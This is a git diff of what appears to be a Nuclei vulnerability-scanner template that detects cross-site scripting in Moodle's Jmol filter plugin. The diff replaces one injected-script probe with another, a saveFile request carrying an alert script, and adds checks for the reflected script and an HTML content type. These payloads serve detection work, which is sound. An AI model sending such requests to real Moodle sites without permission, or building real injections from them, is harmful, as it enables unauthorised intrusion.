commit
b3e1832d6b
|
@ -5,18 +5,26 @@ info:
|
||||||
author: madrobot
|
author: madrobot
|
||||||
severity: medium
|
severity: medium
|
||||||
description: Cross-site scripting on Moodle.
|
description: Cross-site scripting on Moodle.
|
||||||
|
reference: https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
|
||||||
tags: moodle,xss
|
tags: moodle,xss
|
||||||
|
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/filter/jmol/iframe.php?_USE=%22};alert(1337);//"
|
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html"
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: status
|
||||||
status:
|
status:
|
||||||
- 200
|
- 200
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
words:
|
words:
|
||||||
- '\"};alert(1337);//'
|
- "<script>alert('XSS')</script>"
|
||||||
part: body
|
part: body
|
||||||
|
|
||||||
|
- type: word
|
||||||
|
part: header
|
||||||
|
words:
|
||||||
|
- "text/html"
|
Loading…
Reference in New Issue